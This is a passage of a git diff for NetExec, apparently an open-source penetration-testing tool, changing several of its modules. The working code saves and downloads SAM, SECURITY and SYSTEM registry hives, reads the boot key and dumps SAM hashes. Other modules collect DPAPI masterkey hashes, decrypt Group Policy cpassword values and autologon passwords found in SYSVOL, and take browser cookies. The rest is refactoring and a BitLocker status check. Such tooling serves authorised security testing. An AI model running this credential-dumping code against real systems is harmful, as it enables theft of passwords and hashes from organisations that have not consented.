context.log.fail(f"Couldn't save {hive}: {e} on path {outputFileName}")
|
||||
return
|
||||
|
||||
try:
|
||||
context.log.display("Attempting to retrieve boot key live from the remote registry...")
|
||||
boot_key = self.get_boot_key(context, dce)
|
||||
context.log.highlight("Boot key retrieved live -- skipping SYSTEM hive save/download.")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Live boot key retrieval failed ({type(e).__name__}: {e}), falling back to full SYSTEM hive download...")
|
||||
boot_key = None
|
||||
|
||||
if boot_key is None:
|
||||
hRootKey, subKey = self._strip_root_key(dce, "HKLM\\SYSTEM")
|
||||
outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}_{rand_suffix}"
|
||||
context.log.debug("Dumping HKLM\\SYSTEM, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)")
|
||||
try:
|
||||
ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ)
|
||||
rrp.hBaseRegSaveKey(dce, ans2["phkResult"], outputFileName)
|
||||
context.log.highlight(f"Saved HKLM\\SYSTEM to {outputFileName}")
|
||||
self.system_hive_saved = True
|
||||
except Exception as e:
|
||||
context.log.fail(f"Couldn't save HKLM\\SYSTEM: {e} on path {outputFileName}")
|
||||
return
|
||||
except (Exception, KeyboardInterrupt) as e:
|
||||
context.log.fail(f"Unexpected error: {e}")
|
||||
return
|
||||
finally:
|
||||
connection.conn.setTimeout(connection.args.smb_timeout)
|
||||
with contextlib.suppress(Exception):
|
||||
dce.disconnect()
|
||||
|
||||
# copy remote file to local
|
||||
log_path = f"{connection.output_filename}."
|
||||
for hive in ["SAM", "SECURITY", "SYSTEM"]:
|
||||
connection.conn.setTimeout(max(connection.args.smb_timeout, 60))
|
||||
hives_to_download = ["SAM", "SECURITY"]
|
||||
if self.system_hive_saved:
|
||||
hives_to_download.append("SYSTEM")
|
||||
for hive in hives_to_download:
|
||||
connection.get_file_single(f"{hive}_{rand_suffix}", log_path + hive)
|
||||
connection.conn.setTimeout(connection.args.smb_timeout)
|
||||
|
||||
# read local file
|
||||
try:
|
||||
@@ -84,8 +166,10 @@ class NXCModule:
|
||||
self.machine_account = account_name if account_name.endswith("$") else f"{connection.hostname}$"
|
||||
return
|
||||
|
||||
local_operations = LocalOperations(log_path + "SYSTEM")
|
||||
boot_key = local_operations.getBootKey()
|
||||
if boot_key is None:
|
||||
local_operations = LocalOperations(log_path + "SYSTEM")
|
||||
boot_key = local_operations.getBootKey()
|
||||
|
||||
sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=parse_sam)
|
||||
sam_hashes.dump()
|
||||
sam_hashes.finish()
|
||||
@@ -137,7 +221,9 @@ class NXCModule:
|
||||
connection.create_conn_obj()
|
||||
if connection.hash_login(connection.domain, username, user_hash):
|
||||
context.log.display(f"Cleaning dump with user {username} on domain {connection.domain}")
|
||||
hives = ["SAM", "SECURITY", "SYSTEM"]
|
||||
hives = ["SAM", "SECURITY"]
|
||||
if self.system_hive_saved:
|
||||
hives.append("SYSTEM")
|
||||
all_deleted = True
|
||||
for hive in hives:
|
||||
remote_name = f"{hive}_{rand_suffix}"
|
||||
@@ -194,7 +280,10 @@ class NXCModule:
|
||||
return None, None
|
||||
|
||||
def _print_cleanup_warning(self, context, rand_suffix):
|
||||
context.log.fail(f"Files were not automatically deleted. Please clean up manually: C:\\Windows\\sysvol\\sysvol\\SECURITY_{rand_suffix}, SAM_{rand_suffix}, SYSTEM_{rand_suffix}")
|
||||
paths = f"C:\\Windows\\sysvol\\sysvol\\SECURITY_{rand_suffix}, SAM_{rand_suffix}"
|
||||
if self.system_hive_saved:
|
||||
paths += f", SYSTEM_{rand_suffix}"
|
||||
context.log.fail(f"Files were not automatically deleted. Please clean up manually: {paths}")
|
||||
|
||||
def _strip_root_key(self, dce, key_name):
|
||||
# Let's strip the root key
|
||||
|
||||
+116
-141
@@ -1,141 +1,116 @@
|
||||
import re
|
||||
from impacket.dcerpc.v5.dcom import wmi
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "bitlocker"
|
||||
description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
|
||||
supported_protocols = ["smb", "wmi"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
USAGE:
|
||||
|
||||
NetExec smb <IP> -u <username> -p <password> -M bitlocker
|
||||
NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
|
||||
"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
if context.protocol == "smb":
|
||||
bitlocker_smb = BitLockerSMB(context, connection)
|
||||
bitlocker_smb.check_bitlocker_status()
|
||||
elif context.protocol == "wmi":
|
||||
bitlocker_wmi = BitLockerWMI(context, connection)
|
||||
bitlocker_wmi.check_bitlocker_status()
|
||||
|
||||
|
||||
class BitLockerSMB:
|
||||
def __init__(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
def check_bitlocker_status(self):
|
||||
# PowerShell command to check BitLocker volumes status.
|
||||
check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"'
|
||||
|
||||
try:
|
||||
# Executing the PowerShell command to get BitLocker volumes status.
|
||||
check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
|
||||
|
||||
if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
|
||||
self.context.log.fail("BitLockerVolume not found on target.")
|
||||
return
|
||||
|
||||
# Splitting the output into lines.
|
||||
lines = str(check_bitlocker_command_str_output).splitlines()
|
||||
data_lines = [line for line in lines if re.match(r"\w:", line)]
|
||||
|
||||
for line in data_lines:
|
||||
# Checking every line for starting with drive
|
||||
if line[1] == ":":
|
||||
parts = line.split()
|
||||
MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
|
||||
|
||||
# Checking if BitLocker is enabled.
|
||||
if protection_status == "On":
|
||||
self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})")
|
||||
else:
|
||||
self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}")
|
||||
except Exception as e:
|
||||
self.context.log.exception(f"Exception occurred: {e}")
|
||||
|
||||
|
||||
class BitLockerWMI:
|
||||
def __init__(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
def check_bitlocker_status(self):
|
||||
try:
|
||||
# Create a DCOM connection
|
||||
dcom_conn = DCOMConnection(
|
||||
self.connection.host,
|
||||
self.connection.username,
|
||||
self.connection.password,
|
||||
self.connection.domain,
|
||||
self.connection.lmhash,
|
||||
self.connection.nthash,
|
||||
oxidResolver=True,
|
||||
doKerberos=self.connection.kerberos,
|
||||
kdcHost=self.connection.kdcHost)
|
||||
|
||||
try:
|
||||
# CoCreateInstanceEx for WMI login
|
||||
i_interface = dcom_conn.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
|
||||
iWbemLevel1Login = wmi.IWbemLevel1Login(i_interface)
|
||||
|
||||
# Specify the namespace for BitLocker
|
||||
bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
|
||||
|
||||
# NTLM login for WMI
|
||||
iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
|
||||
|
||||
# Set authentication level
|
||||
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
|
||||
# Query to get BitLocker status
|
||||
classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
|
||||
iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
|
||||
encryptionTypeMapping = {
|
||||
0: "None",
|
||||
1: "AES_128_WITH_DIFFUSER",
|
||||
2: "AES_256_WITH_DIFFUSER",
|
||||
3: "AES_128",
|
||||
4: "AES_256",
|
||||
5: "HARDWARE_ENCRYPTION",
|
||||
6: "XTS_AES_128",
|
||||
7: "XTS_AES_256_WITH_DIFFUSER"
|
||||
}
|
||||
|
||||
try:
|
||||
while True:
|
||||
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
|
||||
encryptionMethod = int(iWbemClassObject[0].EncryptionMethod)
|
||||
if iWbemClassObject[0].ProtectionStatus == 1:
|
||||
self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})")
|
||||
else:
|
||||
if encryptionMethod == 0: # Should be 0 if disabled
|
||||
self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}")
|
||||
except Exception:
|
||||
pass # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE"
|
||||
|
||||
# Release resources
|
||||
iWbemLevel1Login.RemRelease()
|
||||
iWbemServices.RemRelease()
|
||||
dcom_conn.disconnect()
|
||||
except Exception as e:
|
||||
if "WBEM_E_INVALID_NAMESPACE" in str(e):
|
||||
self.context.log.fail("BitLockerNamespace not found on target.")
|
||||
dcom_conn.disconnect()
|
||||
except Exception as e:
|
||||
self.context.log.error(f"Error occurred during BitLocker check: {e}")
|
||||
dcom_conn.disconnect()
|
||||
import re
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "bitlocker"
|
||||
description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
|
||||
supported_protocols = ["smb", "wmi"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
USAGE:
|
||||
|
||||
NetExec smb <IP> -u <username> -p <password> -M bitlocker
|
||||
NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
|
||||
"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
if context.protocol == "smb":
|
||||
bitlocker_smb = BitLockerSMB(context, connection)
|
||||
bitlocker_smb.check_bitlocker_status()
|
||||
elif context.protocol == "wmi":
|
||||
bitlocker_wmi = BitLockerWMI(context, connection)
|
||||
bitlocker_wmi.check_bitlocker_status()
|
||||
|
||||
|
||||
class BitLockerSMB:
|
||||
def __init__(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
def check_bitlocker_status(self):
|
||||
# PowerShell command to check BitLocker volumes status.
|
||||
check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"'
|
||||
|
||||
try:
|
||||
# Executing the PowerShell command to get BitLocker volumes status.
|
||||
check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
|
||||
|
||||
if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
|
||||
self.context.log.fail("BitLockerVolume not found on target.")
|
||||
return
|
||||
|
||||
# Splitting the output into lines.
|
||||
lines = str(check_bitlocker_command_str_output).splitlines()
|
||||
data_lines = [line for line in lines if re.match(r"\w:", line)]
|
||||
|
||||
for line in data_lines:
|
||||
# Checking every line for starting with drive
|
||||
if line[1] == ":":
|
||||
parts = line.split()
|
||||
MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
|
||||
|
||||
# Checking if BitLocker is enabled.
|
||||
if protection_status == "On":
|
||||
self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})")
|
||||
else:
|
||||
self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}")
|
||||
except Exception as e:
|
||||
self.context.log.exception(f"Exception occurred: {e}")
|
||||
|
||||
|
||||
class BitLockerWMI:
|
||||
def __init__(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
def check_bitlocker_status(self):
|
||||
# Reuse the wmi protocol's authenticated IWbemLevel1Login instead of
|
||||
# creating a second DCOMConnection to the same target (whose disconnect
|
||||
# would clash with the protocol's own)
|
||||
try:
|
||||
iWbemLevel1Login = self.connection.iWbemLevel1Login
|
||||
bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
|
||||
iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
|
||||
iWbemLevel1Login.RemRelease()
|
||||
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
|
||||
classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
|
||||
iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
|
||||
encryptionTypeMapping = {
|
||||
0: "None",
|
||||
1: "AES_128_WITH_DIFFUSER",
|
||||
2: "AES_256_WITH_DIFFUSER",
|
||||
3: "AES_128",
|
||||
4: "AES_256",
|
||||
5: "HARDWARE_ENCRYPTION",
|
||||
6: "XTS_AES_128",
|
||||
7: "XTS_AES_256_WITH_DIFFUSER"
|
||||
}
|
||||
|
||||
try:
|
||||
while True:
|
||||
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
|
||||
encryptionMethod = int(iWbemClassObject[0].EncryptionMethod)
|
||||
if iWbemClassObject[0].ProtectionStatus == 1:
|
||||
self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})")
|
||||
else:
|
||||
if encryptionMethod == 0: # Should be 0 if disabled
|
||||
self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}")
|
||||
except Exception:
|
||||
pass # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE"
|
||||
|
||||
iWbemServices.RemRelease()
|
||||
except Exception as e:
|
||||
if "WBEM_E_INVALID_NAMESPACE" in str(e):
|
||||
self.context.log.fail("BitLockerNamespace not found on target.")
|
||||
else:
|
||||
self.context.log.exception(f"Exception occurred: {e}")
|
||||
@@ -2,12 +2,14 @@
|
||||
import json
|
||||
import socket
|
||||
from os import makedirs
|
||||
from os.path import join
|
||||
from certipy.commands.find import Find
|
||||
from certipy.lib.target import Target, DnsResolver
|
||||
from certipy.lib.formatting import pretty_print
|
||||
from datetime import datetime
|
||||
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
@@ -34,7 +36,7 @@ class NXCModule:
|
||||
"""
|
||||
self.vuln = True
|
||||
self.enabled = False
|
||||
self.output_path = f"{NXC_PATH}/modules/certipy-find"
|
||||
self.output_path = join(NXC_PATH, "modules", "certipy-find")
|
||||
self.json = False
|
||||
self.csv = False
|
||||
self.text = False
|
||||
@@ -119,9 +121,9 @@ class NXCModule:
|
||||
if self.json or self.csv or self.text:
|
||||
makedirs(self.output_path, exist_ok=True)
|
||||
|
||||
filename = f"certipy_{connection.hostname}_{connection.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
|
||||
filename = sanitize_path_component(f"certipy_{connection.hostname}_{connection.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=220)
|
||||
if self.json:
|
||||
with open(f"{self.output_path}/{filename}.json", "w") as f:
|
||||
with open(join(self.output_path, f"{filename}.json"), "w") as f:
|
||||
json.dump(
|
||||
output,
|
||||
f,
|
||||
@@ -131,10 +133,10 @@ class NXCModule:
|
||||
if self.csv:
|
||||
template_output = finder.get_template_output_for_csv(output)
|
||||
ca_output = finder.get_ca_output_for_csv(output)
|
||||
with open(f"{self.output_path}/{filename}-templates.csv", "w") as f:
|
||||
with open(join(self.output_path, f"{filename}-templates.csv"), "w") as f:
|
||||
f.write(template_output)
|
||||
with open(f"{self.output_path}/{filename}-cas.csv", "w") as f:
|
||||
with open(join(self.output_path, f"{filename}-cas.csv"), "w") as f:
|
||||
f.write(ca_output)
|
||||
if self.text:
|
||||
with open(f"{self.output_path}/{filename}.txt", "w") as f:
|
||||
with open(join(self.output_path, f"{filename}.txt"), "w") as f:
|
||||
pretty_print(output, print_func=lambda x: f.write(x + "\n"))
|
||||
@@ -1,4 +1,5 @@
|
||||
from impacket.dcerpc.v5 import transport, rprn, even, epm
|
||||
from impacket.dcerpc.v5.rrp import DCERPCSessionError # ruff: ignore[unused-import] solves an issue with error handling of impacket not displaying the correct exception
|
||||
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRPOINTERNULL
|
||||
from impacket.dcerpc.v5.dtypes import LPBYTE, USHORT, LPWSTR, DWORD, ULONG, NULL, WSTR, LONG, BOOL, PCHAR, RPC_SID
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
|
||||
@@ -1,15 +1,12 @@
|
||||
from dploot.lib.target import Target
|
||||
from dploot.triage.masterkeys import MasterkeysTriage
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
|
||||
|
||||
# Based on dpapimk2john, original work by @fist0urs
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "dpapi_hash"
|
||||
description = "Remotely dump Dpapi hash based on masterkeys"
|
||||
supported_protocols = ["smb"]
|
||||
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
@@ -19,33 +16,11 @@ class NXCModule:
|
||||
self.outputfile = module_options["OUTPUTFILE"]
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
username = connection.username
|
||||
password = getattr(connection, "password", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
target = Target.create(
|
||||
domain=connection.domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
lmhash=getattr(connection, "lmhash", ""),
|
||||
nthash=nthash,
|
||||
do_kerberos=connection.kerberos,
|
||||
aesKey=connection.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=getattr(connection, "use_kcache", False),
|
||||
)
|
||||
|
||||
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
try:
|
||||
context.log.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
|
||||
masterkeys_triage = MasterkeysTriage(
|
||||
target=target,
|
||||
conn=conn,
|
||||
target=connection.dpapi_triage.target,
|
||||
conn=connection.dpapi_triage.conn,
|
||||
)
|
||||
context.log.debug(f"Masterkeys Triage: {masterkeys_triage}")
|
||||
context.log.debug("Collecting user masterkeys")
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
from datetime import datetime
|
||||
from nxc.helpers.logger import write_log
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
@@ -63,6 +64,6 @@ class NXCModule:
|
||||
context.log.highlight("\t" + d)
|
||||
data += "\t" + d + "\n"
|
||||
|
||||
log_name = f"DNS-Enum-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
|
||||
log_name = sanitize_path_component(f"DNS-Enum-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
|
||||
write_log(data, log_name)
|
||||
context.log.display(f"Saved raw output to {NXC_PATH}/logs/{log_name}")
|
||||
@@ -1,6 +1,6 @@
|
||||
from dploot.lib.target import Target
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
|
||||
from nxc.helpers.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
|
||||
|
||||
|
||||
class NXCModule:
|
||||
|
||||
@@ -63,7 +63,7 @@ class NXCModule:
|
||||
if len(answers) > 0:
|
||||
context.log.success("Found following users: ")
|
||||
for answer in answers:
|
||||
context.log.highlight(f"User: {answer[0]} description: {answer[1]}")
|
||||
context.log.highlight(f"User: {answer[0]:<20} description: {answer[1]}")
|
||||
|
||||
def filter_answer(self, context, answers):
|
||||
# No option to filter
|
||||
|
||||
@@ -7,8 +7,9 @@ from datetime import datetime
|
||||
from struct import unpack
|
||||
|
||||
from impacket.structure import Structure
|
||||
from os.path import expanduser
|
||||
from os.path import expanduser, join
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
@@ -141,7 +142,7 @@ class NXCModule:
|
||||
outdata = [x for x in outdata if not (x["value"] in seen_ips or seen_ips.add(x["value"]))]
|
||||
|
||||
context.log.highlight(f"Found {len(outdata)} records")
|
||||
path = expanduser(f"{NXC_PATH}/logs/{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
|
||||
path = expanduser(join(NXC_PATH, "logs", sanitize_path_component(f"{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")))
|
||||
with open(path, "w") as outfile:
|
||||
for row in outdata:
|
||||
if self.showhosts:
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
from datetime import datetime
|
||||
from nxc.helpers.logger import write_log
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
import json
|
||||
|
||||
@@ -30,6 +31,6 @@ class NXCModule:
|
||||
|
||||
data.append(cards)
|
||||
|
||||
log_name = f"network-connections-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
|
||||
log_name = sanitize_path_component(f"network-connections-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
|
||||
write_log(json.dumps(data), log_name)
|
||||
context.log.display(f"Saved raw output to {NXC_PATH}/logs/{log_name}")
|
||||
@@ -15,45 +15,40 @@ class NXCModule:
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
""" """
|
||||
"""No options available."""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
shares = connection.shares()
|
||||
for share in shares:
|
||||
if share["name"] == "SYSVOL" and "READ" in share["access"]:
|
||||
context.log.success("Found SYSVOL share")
|
||||
context.log.display("Searching for Registry.xml")
|
||||
context.log.display("Searching SYSVOL share for Registry.xml")
|
||||
|
||||
paths = connection.spider("SYSVOL", pattern=["Registry.xml"])
|
||||
paths = connection.spider("SYSVOL", pattern=["Registry.xml"])
|
||||
for path in paths:
|
||||
context.log.display(f"Found {path}")
|
||||
|
||||
for path in paths:
|
||||
context.log.display(f"Found {path}")
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile("SYSVOL", path, buf.write)
|
||||
xml = ET.fromstring(buf.getvalue())
|
||||
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile("SYSVOL", path, buf.write)
|
||||
xml = ET.fromstring(buf.getvalue())
|
||||
if xml.findall('.//Properties[@name="DefaultPassword"]'):
|
||||
usernames = []
|
||||
passwords = []
|
||||
domains = []
|
||||
|
||||
if xml.findall('.//Properties[@name="DefaultPassword"]'):
|
||||
usernames = []
|
||||
passwords = []
|
||||
domains = []
|
||||
xml_section = xml.findall(".//Properties")
|
||||
|
||||
xml_section = xml.findall(".//Properties")
|
||||
for section in xml_section:
|
||||
attrs = section.attrib
|
||||
|
||||
for section in xml_section:
|
||||
attrs = section.attrib
|
||||
if attrs["name"] == "DefaultPassword":
|
||||
passwords.append(attrs["value"])
|
||||
|
||||
if attrs["name"] == "DefaultPassword":
|
||||
passwords.append(attrs["value"])
|
||||
if attrs["name"] == "DefaultUserName":
|
||||
usernames.append(attrs["value"])
|
||||
|
||||
if attrs["name"] == "DefaultUserName":
|
||||
usernames.append(attrs["value"])
|
||||
if attrs["name"] == "DefaultDomainName":
|
||||
domains.append(attrs["value"])
|
||||
|
||||
if attrs["name"] == "DefaultDomainName":
|
||||
domains.append(attrs["value"])
|
||||
|
||||
if usernames or passwords:
|
||||
context.log.success(f"Found credentials in {path}")
|
||||
context.log.highlight(f"Usernames: {usernames}")
|
||||
context.log.highlight(f"Domains: {domains}")
|
||||
context.log.highlight(f"Passwords: {passwords}")
|
||||
if usernames or passwords:
|
||||
context.log.success(f"Found credentials in {path}")
|
||||
context.log.highlight(f"Usernames: {usernames}")
|
||||
context.log.highlight(f"Domains: {domains}")
|
||||
context.log.highlight(f"Passwords: {passwords}")
|
||||
+57
-62
@@ -21,82 +21,77 @@ class NXCModule:
|
||||
"""No options available"""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
shares = connection.shares()
|
||||
for share in shares:
|
||||
if share["name"].lower() == "sysvol" and "READ" in share["access"]:
|
||||
sysvol = share["name"]
|
||||
context.log.success("Found SYSVOL share")
|
||||
context.log.display("Searching for potential XML files containing passwords")
|
||||
context.log.display("Searching SYSVOL share for potential XML files containing passwords")
|
||||
|
||||
paths = connection.spider(
|
||||
sysvol,
|
||||
pattern=[
|
||||
"Groups.xml",
|
||||
"Services.xml",
|
||||
"Scheduledtasks.xml",
|
||||
"DataSources.xml",
|
||||
"Printers.xml",
|
||||
"Drives.xml",
|
||||
],
|
||||
)
|
||||
paths = connection.spider(
|
||||
"SYSVOL",
|
||||
pattern=[
|
||||
"Groups.xml",
|
||||
"Services.xml",
|
||||
"Scheduledtasks.xml",
|
||||
"DataSources.xml",
|
||||
"Printers.xml",
|
||||
"Drives.xml",
|
||||
],
|
||||
)
|
||||
|
||||
for path in paths:
|
||||
context.log.display(f"Found {path}")
|
||||
for path in paths:
|
||||
context.log.display(f"Found {path}")
|
||||
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile(sysvol, path, buf.write)
|
||||
xml = ET.fromstring(buf.getvalue())
|
||||
sections = []
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile("SYSVOL", path, buf.write)
|
||||
xml = ET.fromstring(buf.getvalue())
|
||||
sections = []
|
||||
|
||||
if "Groups.xml" in path:
|
||||
sections.append("./User/Properties")
|
||||
if "Groups.xml" in path:
|
||||
sections.append("./User/Properties")
|
||||
|
||||
elif "Services.xml" in path:
|
||||
sections.append("./NTService/Properties")
|
||||
elif "Services.xml" in path:
|
||||
sections.append("./NTService/Properties")
|
||||
|
||||
elif "ScheduledTasks.xml" in path:
|
||||
sections.extend(("./Task/Properties", "./ImmediateTask/Properties", "./ImmediateTaskV2/Properties", "./TaskV2/Properties"))
|
||||
elif "ScheduledTasks.xml" in path:
|
||||
sections.extend(("./Task/Properties", "./ImmediateTask/Properties", "./ImmediateTaskV2/Properties", "./TaskV2/Properties"))
|
||||
|
||||
elif "DataSources.xml" in path:
|
||||
sections.append("./DataSource/Properties")
|
||||
elif "DataSources.xml" in path:
|
||||
sections.append("./DataSource/Properties")
|
||||
|
||||
elif "Printers.xml" in path:
|
||||
sections.append("./SharedPrinter/Properties")
|
||||
elif "Printers.xml" in path:
|
||||
sections.append("./SharedPrinter/Properties")
|
||||
|
||||
elif "Drives.xml" in path:
|
||||
sections.append("./Drive/Properties")
|
||||
elif "Drives.xml" in path:
|
||||
sections.append("./Drive/Properties")
|
||||
|
||||
for section in sections:
|
||||
xml_section = xml.findall(section)
|
||||
for attr in xml_section:
|
||||
props = attr.attrib
|
||||
for section in sections:
|
||||
xml_section = xml.findall(section)
|
||||
for attr in xml_section:
|
||||
props = attr.attrib
|
||||
|
||||
if "cpassword" in props:
|
||||
for user_tag in [
|
||||
"userName",
|
||||
"accountName",
|
||||
"runAs",
|
||||
"username",
|
||||
]:
|
||||
if user_tag in props:
|
||||
username = props[user_tag]
|
||||
if "cpassword" in props:
|
||||
for user_tag in [
|
||||
"userName",
|
||||
"accountName",
|
||||
"runAs",
|
||||
"username",
|
||||
]:
|
||||
if user_tag in props:
|
||||
username = props[user_tag]
|
||||
|
||||
password = self.decrypt_cpassword(props["cpassword"])
|
||||
password = self.decrypt_cpassword(props["cpassword"])
|
||||
|
||||
context.log.success(f"Found credentials in {path}")
|
||||
context.log.highlight(f"Password: {password}")
|
||||
for k, v in props.items():
|
||||
if k != "cpassword":
|
||||
context.log.highlight(f"{k}: {v}")
|
||||
context.log.success(f"Found credentials in {path}")
|
||||
context.log.highlight(f"Password: {password}")
|
||||
for k, v in props.items():
|
||||
if k != "cpassword":
|
||||
context.log.highlight(f"{k}: {v}")
|
||||
|
||||
hostid = context.db.get_hosts(connection.host)[0][0]
|
||||
context.db.add_credential(
|
||||
"plaintext",
|
||||
"",
|
||||
username,
|
||||
password,
|
||||
pillaged_from=hostid,
|
||||
)
|
||||
hostid = context.db.get_hosts(connection.host)[0][0]
|
||||
context.db.add_credential(
